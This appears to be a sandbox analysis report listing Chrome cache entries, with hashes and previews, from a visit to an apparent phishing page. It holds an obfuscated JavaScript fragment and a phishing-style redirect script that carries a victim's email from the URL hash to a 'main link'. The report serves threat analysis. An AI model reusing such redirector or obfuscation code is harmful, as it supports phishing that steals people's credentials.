_0x2d7380=-parseInt(_0xdf52a2(0xf9))/0x1+parseInt(_0xdf52a2(0xf4))/0x2+-parseInt(_0xdf52a2(0xf6))/0x3(parseInt(_0xdf52a2(0xf7))/0x4)+parseInt(_0xdf52a2(0xf2))/0x5(parseInt(_0xdf52a2(0xfd))/0x6)+parseInt(_0xdf52a2(0xfa))/0x7(-parseInt(_0xdf52a2(0xf1))/0x8)+-parseInt(_0xdf52a2(0xf3))/0x9(-parseInt(_0xdf52a2(0xfc))/0xa)+parseInt(_0xdf52a2(0xf5))/0xb;if(_0x2d7380===_0x32bac7)break;else _0x458704['push'](_0x458704['shift']());}catch(_0x152491){_0x458704['push'](_0x458704['shift']());}}

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7884, version 1.0
Category:	downloaded
Size (bytes):	7884
Entropy (8bit):	7.971946419873228
Encrypted:	false
SSDEEP:	192:xLFDbKO9E3rS3JWBRO/J601FSS5ZUbik3Zy2f0:pd9J5W501otlI
MD5:	9212F6F9860F9FC6C69B02FEDF6DB8C3
SHA1:	AC6D71B4D5FDD2B3DABC9A06FF6C001E4251DA0B
SHA-256:	7D93459D86585BFCDBB7E0376056226ADB25821EE54B96236FE2123E9560929F
SHA-512:	67317495F4B53E20A9F31C034E456E6C37F387DFFB2C092CAA5159BC441CFCADD02749FFE5BBED1D580D5300A59E48A767EF2C6D9978B474F84C1A2CD095C126
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJfecg.woff2
Preview:	wOF2..............?....x.............................`..T..L.6..6..6.$..h. ..\....~2.".8. .w.Q.Y,.?$pC.....)bT(i..@X.m...+...D.Q.O.\-?g.U..Z..._...l..!.lKD.Q..>.9v..V..<...Td$.E..,...o..c.t....!...#..8.A..3..cx~n=Di#....U......K.5jXH.].....j.(.6..]{..IDhZ.......R.....[..X".B~.(Su2..../.I.E...T.l%....'.N.aN.2\,70.....V.RQ..k~..".1. Lg.zd....}.yyys&D.K.g....)....2&%$.nm.\.._.e.tU..I.w;W.\|..6..XUv...!......>@.V..'..`.H`...5.7.X.?..@#..:..<.R.\|.;K..}.6..IA.C.....z.n.G............[.....z........`.X....D..{<..j...).......FQ..T..m.&s_k[%ZILV.8.l.o.z$.)/]......}..Kg.}..O...o\|..>.,U..?..{b<........._.._.06.........R01.@..[......a8..7.V%..B.0F...4 ....q..u#.lg....x....a.=w...8..A6.>f.+.8..Xm@`.m....G.....i..^R}9.aB...?._#.[f.d,V....bG.]...iED.@[.:.....P...........~.{,.x...~.!...C....b.....ze..).:+N....2sd..s..MEp.?^[.k........p..nz...[-.XI.%.."..`..<.2b\.w.VS.a.+......~..J..uGq..)..1...4o3v.Sb......5.w7...-....Wd>..B....R^.4'..B.2G>.en.q..._.@s......

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 518 x 97, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5335
Entropy (8bit):	7.923513904608464
Encrypted:	false
SSDEEP:	96:Sozp0wch9aIoJyl03GA4Fi90kJUpk8cZ10213ZTlunChuQDPc3jVoIfEa6KDN:SccSJwEcF8CWb029uChuQ0fEapDN
MD5:	F473A40301E6D38D5AB8E755070E2807
SHA1:	E077C714C15B7D45B6AC9EE0DCC349C1D4B97AA2
SHA-256:	A63A08D511C9B8FF6BD0FA2206959E3DCEF4CA9E0FB4292991D6B0C473F2FE87
SHA-512:	20B26AB502F3890BA6957845DE1E1F63EAF101E90A7282E7601500C476BFC71C83D3E45CAEEDC8F433F6F53173DC613A377A31BA36E9FB499AF40E2A6CFE933E
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/main.png
Preview:	.PNG........IHDR.......a........Y...DPLTE.........v=..v$....a(...........ooo...............fff.........,,,...........\|...vvv.. q:.......III.uk...q3....???.i&...666.{"QQQ......ZZZ.r.jjj111.q%.m.j%..E.s8..3F.........M..h!.N..........X..0G..l......\|1.U8.o.F.....d....=.\..c.S.]C~I(.R..lW.[@..m....iT..e..-....Q4qH:....^.W0eE<WA?'7D.b1...-;A..M.y.v@.....#......NIDATx..._.............]..(.I.@S...a..t.............l.:GrS.....fk,...9GG.)...._.R.,.}.wi..t.z.........\|.8.r.N...\...bury................z.B...&'..s~tQ.....y.L......Z...t5.`r...g.....z..N..2.r....^0..c......Ot.......g8.((...7.B.H.9.9.#^.8.At......\h}.]..O....0.NGq.....AH...[N.[x......b...!..z.q.8......pE....,...I..;...`@v..+\|}.-(..}...>.9.g......Px.+..i....I.oq..3..B......].8.......~P.p.....W.{i>.q..W........j....W@.A.R..q&p)..@...0....6..k.....l..y...nh!..c.....b .. 6.1.6..2..."...>...0..i.E..-d...w.c..B...t"..t..-d.<R.9..."..28.H.Ha...1 :3z.a...! .u...G....5.<..{.^..0YD../=...;..'X..d.6...

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	576
Entropy (8bit):	7.376257473456894
Encrypted:	false
SSDEEP:	12:6v/7x0/xt08yPPTkdhtfg7L7wlyMMSPGQXbaAPS2HyrQFb9j1:WWJyPPTkS4RfuQraAzSrqbX
MD5:	F72CDDAAC85D22B8B56C37094F48BB5A
SHA1:	E0AA951FACE4C11A1E76416DD1DBCE496B5049D0
SHA-256:	19E82DB63D72BF03E566B0CA3A9CB7AE83A22C342A4854978DB54F7CEF97C07D
SHA-512:	9EC5ADEFE414BCB805560797EE47BBD4861BD74210DD467324CEDCBD1E5B209D9EDB9393B2F473F8E3C3CD55B428490FBF483A65FBDAF90DF4DEF9D5F2729B47
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............K.W.....sRGB.........gAMA......a.....pHYs..........o.d....IDATHK.K(Da.....bAY.....FQba.daa..BjR..B.$..E"DIb..4..e.....`2#......u....ec.l.........S.~...Tt....[....dX.Q...6\OpV.]Q.5..(.}.R.wdd..b.Afo...ft.,Ly..0.....G.jtj/H.F;..Q<x.}......6..Ln.>..._.@/...[..2.r........x.a.~...A.....n..uAa.......J.%.e.<.7..Fkf.P".7.jn.`..Q...a...&..JO...C....K(..sz..M.....K.(..sz..a.......DOn.e~..A$..sZQ>..n.F..Q..$....:.N...=.D).h.2..,j..e/.2.Qf....ZT..O..el.Q*.9.r.V..2..+...[.Bi.+..8h........~.....O....J$.... ..w....Q.(.....IEND.B`.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCf0IQ4FH5P-_EgUNBu27_yHo_f1ZM2_Lpg==?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5914
Entropy (8bit):	5.330082761613692
Encrypted:	false
SSDEEP:	96:QO1alJc+ukO1a4N/OEaEJc+ukOEagN/OXaBJc+ukOXasN/OxMaqJc+ukOxMadN/d:mNdzAQUx35CaJBJTrsiYzi
MD5:	EB788A27FD611A955B5887FD7AE2E0FC
SHA1:	7C3DBB599A1F8788EEE353BCC50928193B373C32
SHA-256:	A1E3B5D0F1B15BE1A8EF0038079312938DA970DBDF7937D7B33E02A2A3C84D39
SHA-512:	27AC6C2F576108169C0B141342C073D1709ED8772475C78475DCF6C28A7A21BD05F7664129A015F02693455CB8AF061865065615A265FBA53A6C76ECCF6316FB
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.co

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 51, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6472
Entropy (8bit):	7.9614440298074545
Encrypted:	false
SSDEEP:	192:0SXVB/e3XvblmlqpfQFjF7j+kFomx/c6lOOB:zlB/e3XZmApfejBqk+C/xxB
MD5:	F419183716DF0C9BCEFFF5389522958C
SHA1:	CF56E3EF9C5B162BECE6DFFE9E1B220526F7AC7E
SHA-256:	0DFA5859ACD573CAF7190FA333E1551503CC295EBABE5C7051C90CFBF9D190A9
SHA-512:	6623E40298585D89DF22A20DA5289E2A8109A78B0A1ACEBCE8F44CA79E0A9354DBA35C82B3E64192B1A971D9CDA1FA9FE1E37F8A4098A2376F731E2271D13C55
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/tad1.png
Preview:	.PNG........IHDR...3...3.....:.0....pHYs.................sRGB.........gAMA......a.....IDATx..Z.t[.o.zO..[.b;..YI.)$i:.....)--.)s.2K.;.-S..t..J.P..J.............;V,.-[....2........yG...........^...........p...\.=......5e..45..u..[..W..8.......]...S..(.......V...rzH...\|.R..Z..E+....=w....o..'.ri'7..j.]4TV..h..2....n......../...3_...+..{..h..tp.,.(..&...3..~....V...y..&u...N..<.i.f.......{>..<4...g;n..t..hi..2...........;^n.`..}..&.N..0..w.....B...........>.U.So>.....#..O_..z...cYEQ.@Tq$).Dc.`...............c}[..qX.{u-_...x.....J.t.6r......bsE...ZNK9sz..4..:.p..%3........g$.........G.L...+.\|B....N.:...,..........x...a.i5S/.Yj.D..l_..........i..I.H.\|..jZ.5:.!h X....-.K.1.QSiVSS..!.......-.........LM...i}.7....!...v.5..6w...}..e.Qz.73>.C...e.??../Og.n;....{..%...)..Y...,...?b....=5....9E.y.9M...1g..I..?&.}%...:..5.p...{.q./..g.....,.4.{*(.z,;.......]{...^....Y..{^...\.....!-.e/...1....\..t..S.wA..9C...o.'.B.....iz...C..._(BM..IZ...R..S...S.<...

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 35 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.658321956943703
Encrypted:	false
SSDEEP:	12:6v/7sr/SsyAU8rUo9dpXM91OM6bZWKhVdFVMkpZdyynVGns/Jmv3UOQEi5YYmXvU:JLyor5dpLxhxmi7GO0v+9YRPZObSmMcT
MD5:	6F92CE5CAD6F8F605B3AAC1B29C9D3BD
SHA1:	4BD1981F807FB19F36860502E24E726F76AAE285
SHA-256:	D6DFC8DBA222DBB220A21EF5DCE29A16E3013E9481F02B4964F5730831E54719
SHA-512:	CD7E74B96EDA3F5D9749FCDB138B335638F9EF700F632BF920CC59B9D8A5E79EE5D5C25556278BD66FA9E68F062AB084FF3DC1B197F7F3AA843F09DE69C3817F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...#............!....sRGB.........gAMA......a.....pHYs..........o.d....IDATXG..KTQ...c.H..xk...,..2/.V.........$.L. .1.$S..4...5..cb.B3....:...3...h$=.......;{...YG..kf.X3.E..Ko.}..Y.>!f..gi..........b.j....)l...B....irLM........3s..t!/...n..I..u.......L.)....H.1)-..1.])..\YU.N..5..O.+...B...Y9F.O2........\4..s.;^....\..\..MLN.......]TXt.c.....nf}9h.A....'2.x......t.>n...D2..K/_5..z...Uz\W/T}D4...lO SC#./.....k.$=... O.2h._..E..y5.f..jt.....R.]l.}'...Fu..'&..5>k.....]..?l..q.n.P.&.L...<H...B......r.be.`.GF..I]........4af.C~se.`0.&...N..w.I...P....4..03XR,-..R.....H.V..8\.[...+.q...z=DL`$....(A.BC.JZ...Jb......$?......@YJC(W......6::F..96.K33.X..A/.f.....&ACCc.HZ4<4>.oa....rl..X... ..gI3...-^..Z?..h.G.....T.5.kY.KT3...0.CQN...&.O..8LAw....N..0..xX..n3...........#0..`Y....mVdf9T.aC.p..?7..;.A.#q...........,.T.m....IEND.B`.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 35 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	891
Entropy (8bit):	7.658321956943703
Encrypted:	false
SSDEEP:	12:6v/7sr/SsyAU8rUo9dpXM91OM6bZWKhVdFVMkpZdyynVGns/Jmv3UOQEi5YYmXvU:JLyor5dpLxhxmi7GO0v+9YRPZObSmMcT
MD5:	6F92CE5CAD6F8F605B3AAC1B29C9D3BD
SHA1:	4BD1981F807FB19F36860502E24E726F76AAE285
SHA-256:	D6DFC8DBA222DBB220A21EF5DCE29A16E3013E9481F02B4964F5730831E54719
SHA-512:	CD7E74B96EDA3F5D9749FCDB138B335638F9EF700F632BF920CC59B9D8A5E79EE5D5C25556278BD66FA9E68F062AB084FF3DC1B197F7F3AA843F09DE69C3817F
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/eyeslash.png
Preview:	.PNG........IHDR...#............!....sRGB.........gAMA......a.....pHYs..........o.d....IDATXG..KTQ...c.H..xk...,..2/.V.........$.L. .1.$S..4...5..cb.B3....:...3...h$=.......;{...YG..kf.X3.E..Ko.}..Y.>!f..gi..........b.j....)l...B....irLM........3s..t!/...n..I..u.......L.)....H.1)-..1.])..\YU.N..5..O.+...B...Y9F.O2........\4..s.;^....\..\..MLN.......]TXt.c.....nf}9h.A....'2.x......t.>n...D2..K/_5..z...Uz\W/T}D4...lO SC#./.....k.$=... O.2h._..E..y5.f..jt.....R.]l.}'...Fu..'&..5>k.....]..?l..q.n.P.&.L...<H...B......r.be.`.GF..I]........4af.C~se.`0.&...N..w.I...P....4..03XR,-..R.....H.V..8\.[...+.q...z=DL`$....(A.BC.JZ...Jb......$?......@YJC(W......6::F..96.K33.X..A/.f.....&ACCc.HZ4<4>.oa....rl..X... ..gI3...-^..Z?..h.G.....T.5.kY.KT3...0.CQN...&.O..8LAw....N..0..xX..n3...........#0..`Y....mVdf9T.aC.p..?7..;.A.#q...........,.T.m....IEND.B`.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 441 x 86, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2833
Entropy (8bit):	7.790900974497478
Encrypted:	false
SSDEEP:	48:PKftnuqcMR/ZnMMqs3bYrYi9IS0KjxU+zpEFQ0KQ/yQglyL9UzZc:PK1nuUR/xqsTi9IS7UkSbKnnyLKVc
MD5:	3890CA6AD3EDFBC98A6B1CFC821B479F
SHA1:	698BD126E0373506509523C3FE7968002C492CCB
SHA-256:	DC791EB99787611331A7948CC25A0E16DB8D54A908FE5903D9819077494C4265
SHA-512:	9607901ED8A09F1C2913D0DE7FF395C246A721C424948DA060163EB07F9B69EBC8CAF05C693417B26ED11C0AE55FC2D540109321387105D1B3705B238B96BD66
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/prog.png
Preview:	.PNG........IHDR.......V.....R1......sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...n......A..@..}......3....+...B.F......K-.....P.B..Q..U][.,'.N..9.......xx.........r./....!.G...D.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r....3...........a.~............8M.<.......;...K....=..c...#.........i.G.^4...l.y.~...G.}.h.2...E).R......'.e..;h.-{Q.r......Q.]..W..g.._..o.......Y.4M..... M..M......{..w........8M.[Fe.......G.2.B.'.w.._.. ....2ZVe.,.. -..h!..?.../....h^-.e....2Bn.>.~\......I.p.).T..........2..>;j.n1-.2.<..Bn...y..3/.E.....N.....R.:BnIt9...O...Q.V>.....^.\|..u1.?..O..%!....b...<......3..z.1....3.XxF.Zg.Bn.....7.G.:.......g......r.....:.....T...T..V..eS.'d.N&.R...2............QT..T..V.................6..<...zy..0\|z...F."...zSy..!.@z..Fo)i.p'....}...X.f....a...m.....KW....-..n..A....[ .PYA..q5s..N...Z...T.Z....*+h.......m..._}...-...zZj.R@.-.~9@A..N..!.T...:..6.r..F.lb..U......9.rk...T...:...[ .D.......!g....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1237
Entropy (8bit):	4.578208506915055
Encrypted:	false
SSDEEP:	12:hPEhkACy7C/7fMrsCxfa2FQvXC7zfcv54dZIHjn8RnxIxaRuuitABd8sxDf2xKNx:hPRCEasifaOfckZS6RR9CaffzV1ZlMC7
MD5:	38A8F3219A16606C15B00F84E165129F
SHA1:	1ADBBD20A304FAE8C254F56B5B65C82CAE603A20
SHA-256:	99132412558B3798F42A4F12B2C51468B85B9C8C288FF28CD6411E76F8078C9A
SHA-512:	B0955716AF99B3DCD630A11EBC735872AF0F5AB366090553E9FE9B07D418092816AE70F035E3B2F542F6E4D4E2A7262497F971F6ACDCF4724C5B070BB9B2F187
Malicious:	false
Reputation:	low
URL:	https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <script>.. // Function to parse the email from the URL hash.. function getEmailFromHash() {.. const hash = window.location.hash;.. if (hash && hash.includes('@')) {.. return hash.substring(1); // Remove the '#' from the hash.. }.. return null;.. }.... // Function to redirect while preserving the email.. function redirectWithEmail() {.. const email = getEmailFromHash();.. if (email) {.. // Replace 'https://google.com' with your main link.. const mainLink = 'https://google.com';.. window.location.href = `${mainLink}#${email}`;.. } else {.. // If no email is found, redirect to the main link without the email.. window.location.href = 'https://

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	7.376257473456894
Encrypted:	false
SSDEEP:	12:6v/7x0/xt08yPPTkdhtfg7L7wlyMMSPGQXbaAPS2HyrQFb9j1:WWJyPPTkS4RfuQraAzSrqbX
MD5:	F72CDDAAC85D22B8B56C37094F48BB5A
SHA1:	E0AA951FACE4C11A1E76416DD1DBCE496B5049D0
SHA-256:	19E82DB63D72BF03E566B0CA3A9CB7AE83A22C342A4854978DB54F7CEF97C07D
SHA-512:	9EC5ADEFE414BCB805560797EE47BBD4861BD74210DD467324CEDCBD1E5B209D9EDB9393B2F473F8E3C3CD55B428490FBF483A65FBDAF90DF4DEF9D5F2729B47
Malicious:	false
Reputation:	low
URL:	https://polynethub.netlify.app/mgs/icon.png
Preview:	.PNG........IHDR.............K.W.....sRGB.........gAMA......a.....pHYs..........o.d....IDATHK.K(Da.....bAY.....FQba.daa..BjR..B.$..E"DIb..4..e.....`2#......u....ec.l.........S.~...Tt....[....dX.Q...6\OpV.]Q.5..(.}.R.wdd..b.Afo...ft.,Ly..0.....G.jtj/H.F;..Q<x.}......6..Ln.>..._.@/...[..2.r........x.a.~...A.....n..uAa.......J.%.e.<.7..Fkf.P".7.jn.`..Q...a...&..JO...C....K(..sz..M.....K.(..sz..a.......DOn.e~..A$..sZQ>..n.F..Q..$....:.N...=.D).h.2..,j..e/.2.Qf....ZT..O..el.Q*.9.r.V..2..+...[.Bi.+..8h........~.....O....J$.... ..w....Q.(.....IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
